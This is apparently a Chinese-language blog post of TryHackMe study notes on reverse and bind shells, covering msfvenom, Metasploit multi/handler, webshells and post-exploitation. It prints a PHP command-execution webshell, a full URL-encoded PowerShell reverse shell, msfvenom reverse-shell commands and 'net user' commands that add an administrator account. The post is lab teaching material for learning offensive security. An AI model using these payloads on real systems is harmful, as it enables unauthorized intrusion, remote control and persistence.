【THM】什么是壳?(二)
Msfvenom
作为 Metasploit 框架的一部分,msfvenom 主要用于生成反向和绑定 shell 的代码。它广泛用于较低级别的漏洞利用开发中,以在开发类似缓冲区溢出漏洞时生成十六进制 shellcode;但是,它也可用于生成各种格式(例如、)的有效载荷 。我们将在这个房间里使用后一种功能。关于 msfvenom 的教学内容比单个房间所能容纳的要多,更不用说单个任务了,因此以下信息将是对这个房间有用的概念的简要介绍。
msfvenom 的标准语法如下:
msfvenom -p <PAYLOAD> <OPTIONS>
例如,要生成 exe 格式的 Windows x64 反向 Shell,我们可以使用:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port
在这里,我们使用有效负载和四个选项:
- -f <格式>
- 指定输出格式。在本例中,这是一个可执行文件 (exe)
- -o <文件>
- 生成的有效负载的输出位置和文件名。
- LHOST=<IP>
- 指定要连接回的 IP。使用 TryHackMe 时,这将是您的 tun0 IP 地址。如果无法加载链接,则表示您未连接到 VPN。
- LPORT=<端口>
- 本地计算机上要连接回的端口。这可以是 0 到 65535 之间尚未使用的任何内容;但是,低于 1024 的端口会受到限制,并且需要以 root 权限运行的侦听器。
分阶段与无阶段
在我们进一步讨论之前,必须介绍另外两个概念:分阶段反向壳有效载荷和无级反向壳有效载荷。
- 暂存有效负载分两部分发送。第一部分称为 stager。这是一段直接在服务器本身上执行的代码。它连接回等待的侦听器,但实际上本身并不包含任何反向 shell 代码。相反,它连接到侦听器并使用连接来加载真正的有效负载,直接执行它并防止它接触磁盘,而传统防病毒解决方案可能会捕获它。因此,有效载荷被分成两部分 - 一个小的初始 stager,然后是更大的反向 shell 代码,当 stager 被激活时下载。暂存有效负载需要一个特殊的侦听器——通常是 Metasploit multi/handler,它将在下一个任务中介绍。
- 无级有效载荷更为常见——这些是我们迄今为止一直在使用的。它们完全是独立的,因为有一段代码在执行时会立即将 shell 发送回等待的侦听器。
无级有效载荷往往更易于使用和捕获;但是,它们也更笨重,并且更容易被防病毒或入侵检测程序发现和删除。暂存有效负载更难使用,但初始暂存器要短得多,有时效率较低的防病毒软件会遗漏。现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI) 来检测暂存器加载到内存中的有效负载,从而使暂存有效负载的效率低于以前在此区域中的效率。
有效负载命名约定
使用 msfvenom 时,了解命名系统的工作原理非常重要。基本约定如下:
<OS>/<arch>/<payload>
例如:
linux/x86/shell_reverse_tcp
除了手册页之外,使用 msfvenom 时要注意的另一件重要事情是
msfvenom --list payloads
msfvenom区分分阶段和不分阶段
使用的payload是 shell_reverse_tcp
, 这表明它是一个不分段的payload。不分段的payload会用下划线 (_) 表示,与此payload等效的分段payload是:shell/reverse_tcp
(分段payload会用一个斜杠/表示)
Metasploit multi/handler
Multi/Handler 是捕捉反向 shell 的绝佳工具。如果您想使用 Meterpreter shell,它是必不可少的,并且是使用分阶段有效载荷时的首选。
幸运的是,它相对容易使用:
- 使用" msfconsole "命令启动Metasploit
- 输入" use multi/handler "命令,按下回车键
我们现在准备开始一个multi/handler会话,让我们使用 options 命令查看可用的选项:
我们需要设置三个选项:payload、LHOST 和 LPORT。这些都与我们在使用 Msfvenom 生成 shellcode 时设置的选项相同——特定于目标的有效载荷,以及我们可以用来接收 shell 的侦听地址和端口。请注意,此处必须指定 LHOST,因为 metasploit 不会像 netcat 或 socat 那样侦听所有网络接口;它必须被告知一个特定的地址来监听(使用 TryHackMe 时,这将是您的 tun0 地址)。我们使用以下命令设置这些选项:
set PAYLOAD <payload> set LHOST <listen-address> set LPORT <listen-port>
我们现在应该准备好开始侦听器了!
让我们使用命令来执行此操作。这告诉 Metasploit 启动模块,在后台作为 job 运行
exploit -j
您可能会注意到,在上面的屏幕截图中,Metasploit 正在侦听 1024 下的端口。为此,必须使用 sudo 权限运行 Metasploit。
当运行上一个任务中生成的暂存有效负载时,Metasploit 接收连接,发送有效负载的其余部分并给我们一个反向 shell:
请注意,因为在上面的案例中multi/handler 开始是在后台处理的,所以我们需要使用 " sessions 1 "命令再次将其置于前台。 这很有效,因为它是唯一运行的会话。 如果还有其他活动的会话,我们将需要使用" sessions "命令来查看所有活动的会话,然后使用
sessions <number>
命令来选择适当的会话置于前台。 这个数字也将显示在打开 shell 的行中(你能看到“Command Shell session 1 opened ”)。
multi/handler实战演示用到payload是
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe lhost=10.10.10.5 lport=4444
使用sessions 1选择肉鸡
WebShell
有时,我们会遇到允许我们以某种方式上传可执行文件的网站。理想情况下,我们会利用这个机会上传将激活反向或绑定 shell 的代码,但有时这是不可能的。在这些情况下,我们会上传一个 webshell。请参阅上传漏洞室,更全面地了解此概念。
“Webshell”是一个口语术语,指的是在 Web 服务器(通常使用 PHP 或 ASP 等语言)内运行的脚本,该脚本在服务器上执行代码。从本质上讲,命令被输入到网页中 - 通过HTML表单,或直接作为URL中的参数 - 然后由脚本执行,结果返回并写入页面。如果有防火墙,甚至只是作为进入完全成熟的反向或绑定外壳的垫脚石,这可能非常有用。
由于PHP仍然是最常见的服务器端脚本语言,让我们看一些简单的代码。
以非常基本的一行格式:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
这将在 URL 中获取一个 GET 参数,并使用 在系统上执行该参数。从本质上讲,这意味着我们在 URL 中输入的任何命令都将在系统上执行——无论是 Windows 还是 Linux。“pre”元素用于确保结果在页面上的格式正确。shell_exec()
?cmd=
如前所述,Kali 上默认有各种可用的 webshell,包括臭名昭著的 PentestMonkey php-reverse-shell,这是一个用 PHP 编写的完整反向 shell。请注意,大多数通用的、特定于语言的(例如 .PHP)反向 shell 都是为基于 Unix 的目标(如 Linux Web 服务器)编写的。默认情况下,它们无法在 Windows 上运行。
当目标是 Windows 时,通常最容易使用 Web shell 获取 RCE,或者使用 msfvenom 以服务器的语言生成反向/绑定 shell。使用前一种方法,获取 RCE 通常使用 URL 编码的 Powershell 反向 Shell 完成。这将作为参数复制到 URL 中:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
这与我们在任务 8 中遇到的 shell 相同,但是,它已进行 URL 编码,以便在 GET 参数中安全使用。请记住,在上面的代码中,IP 和端口(粗体,靠近顶行的末尾)仍然需要更改。
最后利用shell
好了,我们有shell了,现在怎么办?
我们已经介绍了许多生成、发送和接收 shell 的方法,这些方法都有一个共同点,那就是得到的shell往往是不稳定的和非交互的。 即使是更容易稳定化的 Unix 风格的shell的稳定性也不是非常理想。 那么,我们能做些什么呢?
理想情况下,在 Linux 上,我们会接着寻找机会访问用户帐户,存储在/home/<user>/.ssh
的 SSH 密钥通常是执行此操作的理想方式。
在 CTF 中,在目标机的某处发现密码凭证也不少见,一些漏洞exp还允许你添加自己的帐户,特别是像 Dirty C0w(脏牛漏洞) 或可写的 /etc/shadow 文件或 /etc/passwd文件会很快让你通过 SSH 来访问目标机器,假设目标机器的SSH服务是打开的。
Dirty C0w(脏牛漏洞)介绍:https://dirtycow.ninja/
而在 Windows 上,可利用的选项通常更加有限,有时可以在注册表中找到运行服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中,某些版本的 FileZilla FTP 服务器还会在 XML 文件中保留登录凭据,可能保留凭据的文件路径是:
C:\Program Files\FileZilla Server\FileZilla Server.xml
#或者
C:\xampp\FileZilla Server\FileZilla Server.xml
#这些凭据可以是MD5散列值,也可以是明文,具体取决于版本
理想情况下,在 Windows 上,你将获得以 SYSTEM 用户身份运行的 shell,或以高权限运行的管理员帐户。 在这种情况下,你可以简单地将你自己的帐户(在管理员组中)添加到计算机,然后通过 RDP、telnet、winexe、psexec、WinRM 或其他方法登录,具体情况取决于目标机器上运行的服务。
其基本语法如下:
net user <username> <password> /add #添加新用户
net localgroup administrators <username> /add #添加用户到管理员组
反向 shell 和绑定 shell 是在机器上获得远程代码执行的基本技术,但是,它们永远不会像原生 shell 那样功能齐全。 理想情况下,我们总是希望升级为使用“正常”方法来访问机器,因为这总是更容易用于进一步利用目标。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程